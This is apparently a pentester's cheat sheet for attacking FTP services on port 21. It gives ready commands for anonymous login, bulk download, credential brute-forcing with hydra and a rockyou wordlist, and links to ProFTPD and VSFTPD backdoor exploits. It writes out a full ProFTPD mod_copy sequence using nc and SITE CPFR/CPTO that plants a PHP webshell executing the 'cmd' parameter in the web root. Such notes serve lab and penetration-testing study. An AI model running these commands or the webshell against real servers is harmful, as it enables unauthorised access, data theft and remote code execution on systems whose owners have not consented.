FTP (21) Enumeration & Exploits

21 — FTP

Reference: https://book.hacktricks.xyz/pentesting/pentesting-ftp

Try an anonymous login (user anonymous, blank or any password):

$ftp 10.10.77.213
$# username: anonymous

Test read/write access — pull a file, try uploading one:

$get file.txt
$put maliciousfile.aspx

Download the whole server at once (much faster than get one-by-one):

$prompt off
$recurse on
$mget *

Or mirror the whole server with wget using inline creds:

$wget -r ftp://steph:billabong@10.1.1.68

Also try opening FTP URLs in a browser — behaviour sometimes differs:

01ftp://anonymous:null@disco.os:21/shelluw.asp

Bruteforce

Brute-force FTP logins with hydra (also tests null and reused passwords):

$hydra -l mark -P /usr/share/wordlists/rockyou.txt -V 10.10.204.203 ftp -V -e nsr -f -t 50 -K

Directory traversal vuln

Reference: https://superuser.com/questions/1044667/ftp-directory-traversal-attack-on-directories-containing-white-spaces

ProFTPD 1.3.3c

Automated backdoor command-execution exploit: https://github.com/shafdo/ProFTPD-1.3.3c-Backdoor_Command_Execution_Automated_Script/blob/main/proFTPD_1.3.3c_exploit.py

ProFTPD 1.3.5

Exploit references: https://github.com/joshua17sc/proftpd-1.3.5-reverse-shell-exploit/blob/main/exploit.py https://packetstormsecurity.com/files/162777/ProFTPd-1.3.5-Remote-Command-Execution.html

Abuse mod_copy (SITE CPFR/CPTO) to write a PHP webshell into the web root:

$nc 192.168.121.140 21
$SITE CPFR /proc/self/cmdline
$SITE CPTO /tmp/<?php echo exec($_GET["cmd"]); ?>
$SITE CPFR /tmp/<?php echo exec($_GET["cmd"]); ?>
$SITE CPTO /var/www/html/webshell.php

VSFTPD 2.3.4

Backdoor command execution (a smiley in the username opens a root shell on port 6200): https://metalkey.github.io/vsftpd-v234-backdoor-command-execution.html